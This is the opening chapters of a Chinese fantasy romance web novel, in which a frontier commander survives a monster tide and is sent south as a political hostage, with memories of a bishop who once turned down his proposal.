《我的白月光她机关算尽》 1. 死里逃生 狂风夹着雪,一阵阵地肆掠在北方广袤的平原和丘陵,粗壮的松树也在强烈的晃动中颤抖着。风雪穿过丘陵,停在了北方最大的防御工程——泰西防线面前,它无休止地拍打着高耸的城壁。 茫茫风雪中,一切都显得无比脆弱,唯有泰西防线如一个沉睡巨人那般岿然不动,严肃静默地庇护着身后的土地,它所要抵御的并不仅仅是风雪,而是更为可怕的存在——数不清的魔兽。 “快,动作快,中阶法师立刻到远程魔导器启动台!” 代理指挥官严肃的话音透过城墙上的传音法阵回荡在整个城内,如惊雷一般,唤醒了这座沉睡中的巨人。 “星火如昼!” 随着魔法师们的咒语,夜空中脆弱不堪的星光刹那间绽放出强烈的光芒,划破雪夜的黑暗。他们试图吸引魔兽群的注意力,让深陷魔兽包围的清剿部队有机会突破,然后绕行回城。 城外的清剿部队此时命悬一线。 阿纳托利此时正和一只高阶魔兽对峙,那只年轻的高阶魔兽从兽群中冲出,径直撞向人群。 银色的剑锋携风闪过,刹那间取下了它的头颅。阿纳托利落地后和队员肩背相抵。 身处绝境时,可靠强大的领袖尤为重要,他们总是能让人燃起些许希望。 清剿队员们正是这样信任着阿纳托利,相信他能顺利带大家返回防线。在那头高阶魔兽倒地时,战士们的士气又增添了两分,为这短暂的胜利喝彩。但没人注意到阿纳托利的右手已经因力竭而轻微颤抖。 “呼,没完没了的。”他面无表情地甩了下剑上的血污,另一只手护在了自己的伤口上。腹部和肩膀的伤口因刚才的行动似乎有所恶化,痛感愈发强烈。 但生死关头他只能忍着疼痛,戒备地盯着虎视眈眈的魔兽群。 风雪中猩红的眼睛逐渐逼近,它们的包围圈不断缩小,仿佛下一刻就要一拥而上。 “大家维持阵型!不要靠近打击坐标!防线的远程支援很快就到!” 阿纳托利用传音魔法说完便握紧了剑,灰色的眼睛盯着前方,他做好了殊死一搏的准备。 万幸的是,泰西防线的远程火力支援及时赶到!远程魔导器锁定了坐标,凝聚成的光柱,像沉默的流星般飞来,精准地落在了阿纳托利面前不远处的魔兽群中。 打击没有任何多余的响动,只见光芒坠地,魔兽连嘶吼都来不及发出就被贯穿。魔力冲击掀起的气流将这些怪物残存的肢体卷得七零八落。 “啧!” 阿纳托利提着剑朝前方一划,挡开了飞来的魔兽残骸,但血污还是溅到了他的脸上。一阵黏腻和腥臭味让他下意识地皱起了眉。 在一片血污中出现了他们的生路,自己和同伴竟然真的死里逃生,可以突破这群魔兽的包围。阿纳托利发誓,这是最艰难的一次作战。原本这次清剿魔物幼体的任务该在一周前回城,但是他们实在不走运,魔兽潮不知道为什么提前了一个月,祸不单行的还有提前的暴风雪。 这样的环境请求其他小队支援和叫别人送死差不多,于是三支小队只能在风雪中和成年的高阶魔兽群一边作战一边尝试返回,现在挣扎着回到魔导器的攻击范围内已经是万幸了。 最值得庆幸的是,代理指挥官斯捷潘和他们心念相通,在没有远程交流的情况下洞悉了他们突围绕行的计划,及时提供了远程支援。利用远程魔导器的精准打击,将魔兽的包围撕开了好几个小口。 “所有人分散突围后朝东北方疏散,在德莉山脚下汇合,魔物受到吸引会去进攻泰西防线西北门,我们从德莉山绕行至防线东北门返城!” “收到!” “明白!” 阿纳托利几乎是用尽最后的魔力使用了这个传音魔法,差点就眼前一黑朝前面栽了过去,还好有队友拉住他的胳膊。 “长官!伤口是不是......” 列昂尼德盯着阿纳托利的肩膀还有腹部,他知道自己的长官在应对魔兽潮爆发时受了伤,只做了简单处理,之后的返程中更是为小队成员开了多次防御屏障,无论是体力还是魔力想必已经到了极限。 “无碍,魔力耗尽的正常反应,缓一下就好。” 他调整了自己的呼吸,忍着疼痛重新站起身来,在队友担忧的目光中再一次露出了坚定的微笑。 “我们一定能回去,列昂尼德,我保证!” 小心翼翼地避开了常见的打击坐标,解决了小部分追上来的低级魔物,他们一行人磕磕绊绊地走到了东北门前。 西北方果然成功牵制了高阶魔兽的主力。小队几乎未遭遇阻碍,路线畅通无阻。而当城门轮廓终于出现在视野中时,阿纳托利紧绷的神经稍稍放松——可就在这个瞬间,他耳畔的声音倏地远去...... “长官!长官昏过去了!” 列昂尼德赶紧去探他的鼻息,在确认其还有呼吸后才松了口气。 “快!快回城!” 伤者昏睡的脸上没有痛苦,甚至连他平时习惯性微皱的眉头都舒展了,他仿佛正做着美梦,身边火急火燎的队员、急成一团的医师似乎都和他没有了关系。 这位守护了防线八年的英雄仿佛只能在受伤的时候才有资格休息,沉溺在美梦里。 梦里是熟悉的神殿,维曦女神的神像一如记忆中那般耸立,神像前有个白色的模糊背影,他走上前去,拍了拍她的肩膀,对方缓缓转头,她的面孔仿佛蒙上了一层纱,他无法看清,只是感觉对方朝他笑了笑。 “你怎么来了?” 她似乎对自己的到来充满惊喜,连语气都带着雀跃的笑意。 他仍看不清对方的面孔,但能感受到模糊的视线。 对方朝他靠近,伸出双手,给了他一个温暖的拥抱。 熟悉的松木味道将他包围,他的手小心翼翼地覆在了对方的背后,棕色的长发从他指缝中滑过。 他鼓足勇气问出了心中所想。 “要和我一起离开吗?” 时间仿佛停滞在此刻,他仿佛能听见自己的心跳声。 “好啊。” 就在她给出答案的一瞬间,阿纳托利却一把推开了她。 少女露出一丝不解。 “为什么?” 她的声音十分平静,没有太多情绪,和记忆中一模一样。 “是梦吧。我没有办法想象她笑着答应我的表情。” 霎时间,画面仿佛扭曲了起来,梦境带来的虚假温暖开始在无序中消融,取而代之的是愈发清晰的疼痛。 他睁开了眼睛,但由于意识恢复得有些突然,倒是把正在给他包扎的医师吓了一跳。 阿纳托利明显感到医师正在打结的手出现了一瞬间的颤抖。 他似乎还没有完全清醒过来,迷糊中想要起身,却遭到了这位老医师的制止。 “躺下!” 医师的声音苍老平缓,但语气却透出一股毫无回旋余地的威严。 他的眼角早已爬满了皱纹,但那双如鹰一般的灰色眼睛并没有因为衰老而变得浑浊,清亮的双目直勾勾地瞪着自己眼前这位有些不安分的病患。 阿纳托利的动作一滞,似乎清醒了不少。 “奥尔加老爷子,我的伤很严重吗?” 他这话问的虽没什么问题,但结合他本人之前的行事风格,在奥尔加的耳朵里无异等同于:“如果不会一动就死,小爷又要打着绷带去魔兽潮里继续蹦跶了。” 奥尔加眯起了眼睛,剐了一眼阿纳托利, “你的伤口集中于两处,腹部和胸口,全是要害。你没死是因为命大,我从来没见过这种情况,高阶魔兽造成的伤口竟然会这么浅。” “确实有点奇怪,这伤是魔兽提前孵化突袭时受的,我当时没有防备,按照特级魔物的魔力强度理应是贯穿伤。” “我这个老头子对魔物的攻击方式没什么研究,”奥尔加冲他摆了摆手, “但是你能捡回一条命属实是不幸中的万幸,就当是天意吧。” 阿纳托利还想继续追问两句,却被一个不速之客打断。 “不要和他聊这个了,老爷子!” 对方从门后冒了出来,是位身形高挑,步履稳健的男性,但却长着一张和身形不太相符,甚至有些过于清秀的脸。 比起伤口,我更想知道他在治疗时做了什么好梦,嘴角扬得比天高。” 奥尔加医师见到来者是副官海姆,明白他俩或许要聊要紧事,便不再出声,利落地收拾好了箱子转身离去。 海姆是阿纳托利的半个同窗,这位长相英俊,面带狡猾的男子正在用他那双蓝如湖面的漂亮眼睛不怀好意地打量着阿纳托利,还习惯性地带着恶趣味的笑容。 “我笑了?不可能。” 阿纳托利自觉有些心虚,但面上还是一副无事发生的表情。 “反正不是你现在这张臭脸,” 海姆笑着回了一句,随后塞了份文件给他,“喏,这是本次魔兽潮的统计报告。” 阿纳托利暗松一口气,海姆不过是往常一样胡诌罢了。但随着报告的阅读,心又沉了下去。 “比预计的还要糟糕,原本按照预测会分次爆发的魔兽潮竟然集中在一起了,这次我们确实损失惨重……” 他喃喃自语。 “那可不是嘛,这还算运气好,撞上了魔兽潮周期变动你们能回来已经是万幸了。” “清剿和探测活动的周期必须缩短,频次要增加、人员得重新分组、泰西防线的防御工事必须重新加固,吸引魔兽西线的修补工作应该是最紧急的......但也不是没有好消息,比如最近几年的魔物问题应该不会太严重了,经此一役,北方数年之间应该不会再有大规模侵扰。” 阿纳托利一边埋头看,一面分析着情况,但此时的海姆清了清嗓子,似乎下定了很大的决心打断他。 “但这对于你而言算不上好消息。” “什么?” 阿纳托利被他这一泼冷水浇得莫名其妙。 “还有更糟糕的消息你要不要看一下?” 海姆递给他一封拆开过的信件, “南方教会的使者在五天前给公爵送来了教皇的旨意,要求你回南方接受你本该在五年前获得的荣誉。” 这话一说出口,海姆就感受到了一阵低气压,自己这位一向情绪稳定的上司眉头一下皱了起来。 阿纳托利摩挲着有着独特质感的信函,上面教会印章的火漆显得有些刺眼。 “他们还真是阴魂不散。” 他抬头不咸不淡地感叹了一句,很快再次恢复了平静。 “我妹妹是什么态度?” “伊莉雅公爵移交这封信件时没有说任何话。” “呵。” 阿纳托利笑了一声,他低着头,海姆看不见这人表情。 他似乎在考虑什么,但他的副官需要一个答案。 “你现在有什么打算?”海姆试探地问了问。 海姆很清楚他们和魔物的生死搏杀有多危险,但是南方教会那群人有时候可比魔物棘手多了。自从阿纳托利名义上的妹妹伊莉雅,这位强势的领袖继任公爵爵位开始,教会对不受摆布的北方越发忌惮。他们不止一次暗示过伊莉雅,催促其兄长阿纳托利回南方接受教廷的荣誉。 在海姆看来,这无异于就是要攥一个人质在 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“当然,能被教会如此针对,正是对我多年努力的肯定。” 他满不在乎地将看完的报告甩给了海姆。 海姆终于露出了不满的怒意,喋喋不休地说了起来。 “你既然知道,为什么还要去!我们可以想其他方法搪塞教会,能拖一天是一天,列昂尼德的孩子今年年底应该就会出生,奥尔加老爷子从战场上捡回来的倒霉学徒已经通过医师资格考试,你的妹妹伊莉雅才秘密和叶夫根尼举行了婚礼,我们研究的防御装置马上就要进入新的阶段,你一定要在所有事情都在变好的时候一个人去......” “海姆。” 阿纳托利平静地打断了他,他正视着海姆担忧而愤怒的双眼,看得海姆心里发毛,海姆最讨厌他露出这样的神情,仿佛一切早已尘埃落定。 “我封锁了大魔法师洛林遗留的预言——寒纪快来了,你明白了吗。” 海姆的眼神一变,霎时间一句话也说不出。 “洛林的预知魔法当世无出其右,哪怕是教廷最好的元素魔法师也不及他对寒暖纪交替预测的十分之一。魔兽的血对土地有一定程度的异化作用,北方常年受袭,哪怕是在暖纪,食物仍然会时不时陷入紧缺,未来的寒纪可能会长达十年左右。如果我不去当这个人质,教会以此为契机讨伐,寒纪中的北方在魔兽和内战的夹击之下会怎么样呢?北方的人民没得选、我没得选、伊莉雅也没得选。” 这一席话让海姆陷入短暂的沉默,随后底气不足地说。 “我们去和公爵说,不排除还有其他办法。” “海姆,你真的以为这是教会第一次的书面旨意吗?” 阿纳托利平静地发问,眼神冷得就像在一月份结冰的湖面。 海姆是个“狡猾”的人,只有对自己亲密的人或许才会放松那么几分;阿纳托里觉得自己提醒到这个份上,他应该能够理解了。 果然,海姆回味了一下这句话后发出了一声冷笑。 “这不是第一次旨意,但却是第一次让你知道的......还真是鸟尽弓藏。” “伊莉雅的态度已经很明显了。” “你们家的人未免有些忘恩负义。” “慎言,海姆。”阿纳托利抬头盯着他的眼睛,严肃地警告着他。 “伊莉雅是出于寒纪的考虑,作为公爵她需要对北地全体人民的存亡负责。” “那还真是大公无私呢。” 海姆不满地耸耸肩。 “我走之后,你和斯捷潘会接手我的工作,届时你们俩人一定要对伊莉雅的命令说一不二,尤其是斯捷潘,他有时候太固执,你得劝劝他。我是你们的长官,也是你们的朋友,但是伊莉雅她只是领主,不要让她觉得无法控制你们。” “切,跟你来这泰西防线还真是亏本买卖。” “哪里亏本了,还是有好处的,我的好妹妹计划这么出卖我,想必斯捷潘之后去汇报工作时多要点经费也是合情合理。” “防御团已经落魄到需要团长卖身换经费了,说出去也不怕别人笑掉大牙。” 海姆嘲讽了两句,看他情绪稍有缓解的阿纳托利松了口气。 “去南方要平安回来。” 海姆最终还是说出了自己最为担忧的事,话一说出口他的鸡皮疙瘩就在蹦跶了,但是一想到阿纳托利的处境,还是硬着头皮说完了。 听到他的祝福,阿纳托利难得地舒展了眉头,嘴角有了微小的弧度。 “别担心,又不是第一次当人质了,熟能生巧。” 他一副满不在乎的样子,拍了拍海姆的肩膀。 “守好泰西防线,如果我回来的时候泰西防线有什么问题,你就……” “得了吧,你有本事拿我脑袋去填防线啊?你光会放狠话?” 阿纳托利正准备反驳,海姆却继续嘲讽。 “提头来见?切,人家伊莉雅说一不二,但你有人家的手腕和气魄吗?” 他的语气逐渐从挖苦变得带上了一丝恼怒, “你就是拿自己去填,也不会让我去。这些年我们都看在眼里,我会守好防线,所以必须平安回来知道吗!” 海姆的声音变得越来越小,似乎没有了底气,这个平日有些尖酸刻薄的人只有在这种时候会变得拧巴。但情感的表达方式无论怎么别扭,只要能传递心意,又有什么关系,阿纳托利觉得内心很温暖,沉默了一会儿,才笑着回答。 “好!我向你保证!我一定会回家。” “我用我的生命起誓,泰西防线屹立不倒。” 2. 任务会一件件件件做完的 阿纳托利休养了五天,自驻守泰西防线六年以来唯一的假期。 在这次受伤前,自己的休假只在公爵大人的纸面计划上出现过。 或许是考虑到他这些年的勤勤恳恳,亦或者是得知了这次伤情并不轻微,他名义上的妹妹总算善解人意了一次,同意把联络时间放在了假期之后。 直到他亲自接管工作的时候,伊莉雅的投影才如约而至。 “阿纳托利长官,伊莉雅公爵的投影来了。” “我马上去投影室。” 阿纳托利放下了中防线加固的方案,冲正在兴头上的斯捷潘无奈一笑。 “看来咱们的讨论要延后了,等了我们好几天的伊莉雅怕是没什么耐心。” 他玩笑般地收起了所有资料,递给了斯捷潘,对方面无表情地整理着手中的稿纸,并没有离开的意思,轻飘飘地扔下一句话。 “公爵大人除了经费划拨,很少会带来其他好事,祝您好运。” 阿纳托利苦笑着朝投影室走去。 推开门的时候,催命的身影已经出现了桌前。 阿纳托利环视着许久没有来过的投影室,这间房子是上一任团长布置的,陈设风格和整个泰西防线的设计截然不同,意外的温馨。而坐在圆桌和壁炉旁的他们仿佛只是一对普通的兄妹在唠家常。 投影中的她身着传统的婚服,白色的长裙,典雅洁白的头纱,银色的头发被盘在脑后,上面点缀着珍珠头饰,素净庄重的服饰更衬得她那双深红色的眼眸明艳张扬。 “你和叶夫根尼在半月前已经完成了婚礼仪式,怎么这身衣服还舍不得换下来?” 阿纳托利笑着坐下。 “那时候不巧,赶上这边魔兽潮爆发,你都没有机会出席我们的婚礼,原计划哥哥你会是我俩的见证人呢……” 她一边说着一边起身,提着裙摆缓缓转了一圈。 “怕你因为错过妹妹的重要时刻而抱憾终身,专程再穿上给你看看,好看吧!” 明媚自信的笑容浮现在这位年轻女士的脸上。 “好看,很遗憾我没能出席现场。” 阿纳托利说罢叹了口气。 “不必遗憾,现在看到也不算晚,更何况无论何时我都是一样的美丽。” “是的,如果您的脾气以及拨给泰西防线的经费也和您的面孔一样美丽,我会感恩戴德的。” “虽然这个玩笑的重点是前半部分,但后半部分的赞美我就也欣然接受了。” 她提着裙摆,微笑着向阿纳托利优雅地欠身,然后慢悠悠地坐下。 “玩笑时光总是让人愉快,现在进入正题吧。” 她仍然带着明媚的笑,只是语气变得认真了许多。 “你应该知道我联系你的原因。” “我知道,我看过那封信了。” 阿纳托利抬眼看她,似笑非笑。 伊莉雅最讨厌他这副神情。 但哪怕她心里不快,还是平静地开口道。 “你的态度?” “不重要,不是吗?” 阿纳托利抬眸看向她。 “无论我是什么态度,此事本就板上钉钉,您又何必试探。” 她对上了阿纳托利的目光。 灰色的眼眸不带什么情绪,像是从来没有对她抱有期待一样,因此才能毫不失望。 她宁可对方的眼神是失望或者愤怒的。 “您在怪我?” 伊莉雅提高了音量。 “我知道您的难处,又怎么会怪您。” 阿纳托利摇了摇头。 “寒纪快到了,如果不能获取南部的支持,北方的粮仓不足以让我们挺过魔兽潮和饥荒的双重压力,所以让我去南方当人质,换取一段时期的缓和,确实是合理的决策。” 他一边说着一边朝身后的椅子靠了靠。 “我只是……有些累,这些年剿灭魔兽并不轻松,您桌上的每一封战报都凝结着泰西防线六个防御团全体人员的心血,现在还要我再一次回去南方给那些家伙打交道……我并不畏惧,但这样的生活我要坚持到什么时候?” 阿纳托利并不指望自己的抱怨能换来这位领主决策的变化,但或许能让她出于安抚的考虑,在自己走后多给泰西防线拨点经费。 “哥哥,这一切都是为了北境……我保证很快就会结束了,教皇更替就是我们最好的时机,等弗洛斯特家族彻底摆脱教廷的牵制,一切都会是我们的囊中之物。” 她的语气一如既往地笃定,仿佛对自己会取得胜利没有一丝一毫的怀疑。 “这些年我们配合得很默契,哥哥这边魔兽潮解决得很好,而北部的建设也一直在顺利推进。” “我不过是做了看门的工作,联合各方协力建设要归功于你。” 阿纳托利笑着摇了摇头。 “和家人谦虚什么,反正你我二人协作之下,北方这些年远胜从前,至少比南方的烂摊子好。” 她那双眸子里含着幸灾乐祸的笑意。 “烂摊子?看来又有新消息了。” 阿纳托利饶有兴致地看着她。 伊莉雅行事向来大胆,手段也极端,自从将情报组织夜荆棘的权限交给她后,情报规模少说也扩大了一倍,消息比过去灵通了不少。 “教皇半截入土,局部魔兽潮频发,他们那些烂摊子也不是一天两天,本不算新鲜事,但正在节骨眼上,有位主教遇刺了……” “主教遇刺?竟然能发生这种事?” 阿纳托利有些惊讶,随后皱起了眉。 他不像伊莉雅可以看热闹,作为要前往南方的人质,他只觉得相当麻烦。 此事的发生会让教廷内部更加剑拔弩张,这对即将前往南方,要和各位主教周旋的他而言可算不上好消息。 “谁知道呢?据夜荆棘的密探汇报,这事就在五天前的联合会议,有位主教在离开王廷时遭到了不明魔法攻击,维斯特利亚教皇忙着捂死消息呢,估计其他几位主教现在都不一定知道。” “这件事确实不能公开,教廷主教都是高阶魔法师,如果有高阶魔法师都无法预防的刺杀,想必圣都那群权贵会陷入恐慌吧······但太蹊跷了,怎么可能这么容易被得手?” “我也觉得,主教都是实力顶尖的魔法师,自身就是教会压箱底的战斗力,翻遍整个大陆也没听说哪个雇佣兵能达到这种水平。如果真的有,那我马上下单砍了维斯特利亚的脑袋,咱们都省得麻烦了。” “所以是哪位主教?” “东部四区主教,莱安娜·艾弗忒宁,控制型魔法的顶尖高手。” “她怎么样了?” “伤得不轻,但听说救回来了。” 伊莉雅说罢敏锐地抬起头,那双红宝石一样的眼睛不自觉地眯了起来。 “你竟然会关心这群神职人员的死活?” “南下免不了和他们打交道的,我提前看看会不会少一个麻烦。” 他面不改色地回答。 伊莉雅打量了他一下,移开了目光。 “哪怕她真的死了,你这趟任务也不可能轻松的。” 伊莉雅笑了笑。 “不过嘛,还好她没死,作为教皇候选人之一,她对北方态度还算友善,比起大贵族出身的维克多主教和贝拉主教,我更希望她能成为教皇,那样我们说不定还能多和教廷维持几年安生日子,而且我本人对她很好奇呢。” “你向来平等地看不起所有人,能勾起你的好奇心还真是少见。” “喂,我哪里有这么傲慢?” 伊莉雅有些不满地反驳。 “近年有关她的传闻不少,和维克多主教并列的教廷双刃,大陆首屈一指的魔法师,女神大人青睐有加的教皇候选人······一个平民走到这个地步,我很难没有兴趣。” 她饶有兴味地抿起了一抹笑。“你不好奇吗?她在四年前的东区叛乱里亲手诛杀了前主教卡丽安娜,并凭借此功平步青云,一跃两级,从神官直接成为了教皇候选人。” “我记得根据夜荆棘的情报,前主教卡丽安娜挟持好几位东区贵族,抢夺了地脉能源控制权限,以引爆东部一区作威胁,当时如果不是莱安娜神官执行斩首计划,恐怕平叛还会付出更加高昂的代价,她的晋升有理有据。”阿纳托利淡然地陈述。 “是啊,如此功劳本应让人关注她的实力,而非讨论她的冷血,但谁让她是卡丽安娜的亲传弟子呢?”伊莉雅幽幽地开口。“这个任务据说并不是非她不可,但为了自己的前途,她可以毫不犹豫地诛杀自己朝夕相处的老师。你不觉得这人很有意思吗?” 阿纳托利不自觉地握紧了手。 “有意思?我怎么觉得你像是很欣赏她的样子?” “我喜欢目的明确,做事不拖泥带水的人。” 伊莉雅微微一笑。 “你这样说,我可以理解为你希望我南下和她进一步接触?” “不,那只是我的个人兴趣罢了,现在教廷局势不明,我们仍需保持中立。” “我明白,还有更加具体的任务吗?” 阿纳托利不动声色地将话题揭过。 毕竟伊莉雅可不是来和他商量的,她一定有任务通知他执行。 “我希望你能够在南方任职,尽可能获取和魔兽潮有关的信息和研究,帮助我们魔兽防御体系的建立;其次,和南方贵族们保持友善的关系,如果能够和亨利皇帝取得联系就最好,要和教廷叫板我们需要尽可能多的盟友。” “我尽量,但我一个人质担任要职是否有些异想天开?” 他双手一摊,在别人地盘上当人质,不夹着尾巴做人,还想担任要职,这是嫌死得不够快啊。 “别这么灰心,维斯特利亚答应我,除了授予你荣誉外,还将任命你担任南方魔兽防御司司长,以你的能力应对这个岗位的工作想必游刃有余。” “……” 阿纳托利闭上了眼睛,这样伊莉雅就看不到他在翻白眼,谁去当人质还要战战兢兢地打工啊? “伊莉雅,我觉得蹊跷,哪怕是南北合作的友善信号,也没有必要让人质担任实权岗位。” “话是这样说,但谈判结果对我们很有利,我无法拒绝,至于动机,或许是他们魔兽潮的势头太厉害了吧,亦或者需要利用你平衡下教廷当前的势力。” 阿纳托利察觉到伊莉雅这话说得很是敷衍,可谓是相当不管他的死活。不过以她的性格,既然目的已经达到,想来也没有多余的兴趣再去深究原因,反正被架在火烤上的人也不是她。 “我了解,我会尽力完成您的指示。” 阿纳托利回答道。 虽然对于她给出的解释并不认同,但也只能先去了再一探究竟。 别说是动机不明的优待,哪怕是明摆着的火坑,他也得跳。 不然身后这位铁石心肠的妹妹,估计会飞起一脚踹他进去。 “还有一个任务。” 她的心情似乎好了很多,语调都跟着轻快雀跃了几分。 “我还需要你调查一桩命案。” “命案?” “三年前,奥利弗魔法学院的大学士遭遇魔兽潮意外死亡,我需要你查清他死亡的原因。” “我们为什么要插手这件事?你有什么瞒着我?” “不是什么大事,当时你正为泰西防线的重建焦头烂额,所以没告诉你。” 伊莉雅自知理亏,有些心虚地笑了。 “那个学者本人不是魔法师,但是在魔法理论领域的研究颇有建树。四年前他找到了我,提出了“魔法师制造计划”,想用人工制造魔法师的方法来和我做交易,一旦能够量产魔法师,我们对教廷将有碾压的优势,我无法拒绝这样的条件。” “他想要什么?” 阿纳托利面色冷峻。 “他希望我取代南方教廷,并在南北统一后支持他人造魔法领域的研究,继续推广魔法师制造计划,” “这研究听上去不是什么好东西,不然为什么他不现在向教廷寻求支持,只能向你求一个未来的承诺。” “这你不用担心,我调查过了,南方教会似乎认为他的方案可行性不佳,不愿意投入太多资源。而且我猜教廷不少人还有一些大贵族也不想这个计划实现吧,如果人人都能成为魔法师,他们还凭什么高人一等呢。” 伊莉雅笑着看向阿纳托利。 阿纳托利目光一暗:“但他已经死了,这个研究也无法继续,再追查这个案件的意义······” “人虽然死了,但研究已经完成了。” 伊莉雅打断了他。 “他本该在三年前来 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“看来人质没白当,对南方这些贵族的关系了如指掌。” 阿纳托利没有接她的话茬,而是话锋一转,提起了另一件事。 “您刚才说的这些任务我清楚了,我会尽力完成。在我离开泰西防线前,还有件事需要您的帮助。” “哦?” “我希望你可以和哈德莱伯爵谈一谈,他领地的流民问题很严重,甚至有一小部分人逃到了泰西防线外围……” 他还没有解释完毕,伊莉雅冰冷的疑问已经响起。 “那些人你怎么处理的?” “他们只是走投无路的饥民,并非叛军,而且并未影响我们的清剿魔兽行动,没有必要赶尽杀绝……” “哦?看来你做了一个授人以柄的决定。” 伊莉雅似笑非笑地看了眼阿纳托利。 “不过,也很符合你的行事风格,倒是并不让人意外呢。” 说着,她深吸了口气,朝身后的沙发上一靠。 “这件事我就当不知情,哈德莱伯爵对自己领地上事务有管理的权力,正如你在泰西防线拥有灵活处置的权限一样。那些防线外的事情你可以自行处理,但要把握分寸,以及这事绝不可以提到明面上讨论。” 她的目光变得锐利起来。 “而且你的措辞不够严谨,按照哥哥的说法,若是这些流民不算叛军,那我作为大公爵要如何认定哈德莱伯爵的行为呢?” 她笑着反问。 阿纳托利明白,伊莉雅这是不准备管束伯爵领的暴行了,但相对的她也默许了阿纳托利的救助行为。 “这样就够了。”阿纳托利想道,随即回复道: “哈德莱伯爵在针对前公爵的兵谏行动中立下汗马功劳,善待功臣是您必须权衡的事,倒是我考虑不周了。” 这样的“善解人意”似乎让伊莉雅相当满意,眼底映出几分笑意。 “我们有时候不得不考虑大局,只要不打破当前的平衡,泰西防线的事我不会过度干涉,这份承诺不会改变,但我希望接替你工作的人也能明白这个道理。” “他们会明白的。” “如此最好。” 她抿了口茶,不再说话。 任务其实已经交代完,但伊莉雅今天并没有像往常那样宣布中止通讯,两人陷入了有些尴尬的沉默。 过了好一会儿,她才不情不愿地开口。 “这次任务极具风险,等你回来,我会授予你爵位,泰西防线以及融雪岭、米哈伊尔平原都会是你的封地,除此以外你还有什么愿望吗?” 阿纳托利抬头,有些惊讶地打量着这位把头别过去的女士。 “伊莉雅给出了如此丰厚的奖赏,这次南下看来真的凶多吉少······” 他心里嘀咕着,忍不住苦笑。 “暂时没有其他的了……而且您不要临行前说这种不吉利的话,像是这个任务我死定了一样。” “这是对你辛苦付出应得的嘉奖罢了,四年前你平叛劳苦功高,我不也问了你同样的问题吗?我记得你当时还求我给你主婚呢,可惜了,那女孩儿不愿意。” “你干嘛又提那件事!” 阿纳托利提高了音量,整张脸有些挂不住了。 “呵,都这么多年了,反应还这么大,有这么难为情吗?” 伊莉雅看着他的反应,仿佛发现了天大的乐子,换上了一副更加恶趣味的笑容。 “不就是求婚被拒绝了吗?那都是四年前的事了,你也该看开了。” 她努力让自己的语气不那么……幸灾乐祸?但那双红宝石一样的眼睛完全藏不住笑意。 “你和初恋得偿所愿了,现在就来笑话我?” 阿纳托利没好气地白了她一眼,他现在甚至觉得伊莉雅的那身婚纱除了上述理由外,还包藏了嘲讽他的祸心。 “怎么能这么揣测妹妹的关心呢,我是认真的,虽然你一直没告诉我那个人是谁,但这么多年过去,她说不定早就抛之脑后了,你没必要耿耿于怀,去圣都的路如履薄冰,我希望你身边至少有个贴心的人。” “您还真是慈悲为怀,都知道是危险的路,还要我还紧赶着拉个人结婚,这不是祸害人家一辈子吗。” “行吧,你不愿意就算了,虽然作为家主,我也很希望能把你卖个好价钱,但阿纳托利团长您实在不愿意,我也没有能力把你绑到其他领主继承人的床上去。” “不是,你倒也不至于……” “好啦,没有其他的愿望就暂时如此吧,你好好准备南下的事宜,我也还有其他事情需要处理。” 她笑着摆了摆手,为这次联络画上了句号。 “等一下!” 阿纳托利撑着桌子站了起来,哪怕知道影像是触摸不了了,仍然伸出手去,仿佛能够挽留住她一般。 “很难得你对我这个妹妹如此挂念,摆出这么一副舍不得的姿态。” 伊莉雅没有掐掉通讯,兴致盎然地瞧着他。 但阿纳托利只是冷着脸挤出了毫无温情的四个字。 “预算!加钱!” “啧。” 哪怕影像消失只有一瞬,阿纳托利也清楚地看到了伊莉雅的白眼。 3. 女神的宠儿 阿纳托利结束了通讯,脑海里却不由自主地回忆起伊莉雅的话。 “东部四区主教,莱安娜·艾夫忒宁。” “不就是求婚被拒绝了吗?那都是四年前的事了,你也该看开了。” 伊莉雅幸灾乐祸的表情仿佛还在他的眼前。 他看着空荡荡的座位有些恍惚。 “为什么莱安娜会在这时候遇刺?” 他思索着,皱起了眉头。 “真的有人能够做到吗?” 他记起了莱安娜曾在学院考核里大杀四方,从不给对手放水,宛如一口无限充能的魔导器大炮,都不用依靠什么魔法技艺,仅凭单纯的‘火力压制’,就已经让众人难以招架。 “当时还是中阶法师时,实力已经如此,高阶法师又怎会如此容易被偷袭?” 这个问题显然不是那么容易查清楚的,而且刚才伊莉雅的反应也已经警告他了,自己是即将前往南方的北地人质,别说查清楚南方教会主教的受伤原因,他甚至连关心对方的立场都没有。 阿纳托利有些某名地烦躁,鬼使神差地摸出了藏在衬衣下面的挂坠,取下放在掌心端详。 那是一枚普通的教会银质的挂坠,有祈愿平安的寓意。银色的橄榄和蔷薇围绕着中心一颗拇指指甲盖大小的红色石头。 阿纳托利看不出这是什么材质。 他虽然对宝石类型了解不多,也也能看出这个接近蜜蜡质地的石头并不是什么水晶红宝,加上教廷批量生产的款式,这份礼物或许只是社交的敷衍,礼物的主人或许并没有花费什么心思。 他小心翼翼地摩挲着,这枚吊坠他从未离身,熟悉上面每一处花纹。 这是莱安娜送给他最后一件礼物。 “莱安娜主教。” 主教二字咬得格外重,仿佛在提醒自己什么,手将那枚挂坠攥得更紧了。 许多关于她的传闻开始在他耳边回响。 “据说她在兄长死后直接将艾夫忒宁家的财产全部转移了,不知道拿到哪里肆意挥霍,真是白眼狼......” “她当年为了插手王选,去当了王储的魔法老师,结果就因为王储继任后不支持她,立刻就断了师生关系,如此薄情寡义......” “不择手段、长袖善舞、两面三刀......” 诸多的负面信息几乎淹没了阿纳托利的思绪,而刚才伊莉雅的那句话更是让他的心沉了又沉。 “为了自己的前程,诛杀了和自己朝夕相处的老师,你不觉得她很有意思吗?” 伊莉雅带着笑意的声音仿佛还萦绕在他的耳边。 “不,不是这样的。” 他自言自语地否定起来,随后一愣,随后自嘲地笑了笑。 “像是我很了解她一样。” 关于对方的记忆都在八年之前,仅凭过去的影子如何谈得上了解呢?人都是会变的,连自己都变成了这幅窝囊的模样。 “莱安娜也会变吗?” 在他的记忆里,莱安娜性格和他完全相反,是个相当“表里不一”的人。 如果只是远远看一眼,大部分人会猜测她脾气温和文静。干净的面孔、柔和的五官、祖母绿的眼眸仿佛一湾平静无风的湖面。 但若是鼓起勇气再靠近一步,必定会大吃一惊。 阿纳托利记得,在某次实战演练,有个不了解情况的转学生抽到了莱安娜当对手,大放厥词说她看上去温柔,一会儿不会下狠手。 当时莱安娜没有说话,只是歪着脑袋朝那人礼貌地笑了笑。 那人看她眉眼弯弯,竟然误以为那是对他绅士风度的肯定,傻笑起来,徒留观战的其他同学倒吸一口凉气。 而人群中的阿纳托利已经替这人捏了一把汗。 